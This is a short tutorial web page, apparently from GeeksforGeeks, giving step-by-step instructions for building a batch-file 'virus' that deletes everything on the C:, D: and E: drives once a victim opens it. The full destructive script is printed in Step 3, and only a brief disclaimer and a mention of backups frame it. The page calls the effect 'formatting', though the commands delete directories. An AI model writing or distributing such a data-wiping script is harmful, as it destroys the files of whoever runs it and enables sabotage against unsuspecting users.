Skip to content
Related Articles
Open in App
Not now

Related Articles

How to Create a Virus that Automatically Formats All the Drives of the PC?

Improve Article
Save Article
  • Difficulty Level : Medium
  • Last Updated : 21 Nov, 2021
Improve Article
Save Article

The virus that we are building here will automatically format all the drives of the PC resulting in the PC crashing. This virus leads to deletion of all the data in the system.

For the Creation of the Virus follow these steps:

Step 1: Press the Window + R Button from the Keyboard. This will open the Run Dialog book will Open in front of us. 

Step 2: Type Notepad in the Dialog Box and press Enter. This will open the notepad for us.

Step 3: Type in the below-mentioned code in the Notepad:

@echo off   
rd/s/q D:   
rd/s/q C:   
rd/s/q E:

Step 4: After typing in all the code save the file with the name of your choice. But remember to save the file with .bat extension.

The Virus has been Successfully Created by you but this will only work when it is opened by the user once.

To Resolve this problem the user must have a backup of all the files stored externally. 

Disclaimer: GeeksforGeeks does not support the spread of ransomware/viruses and if you intend to use this information for malicious purposes, we are in no way responsible. This information is intended to be used for educational purposes only.

My Personal Notes arrow_drop_up
Related Articles

Start Your Coding Journey Now!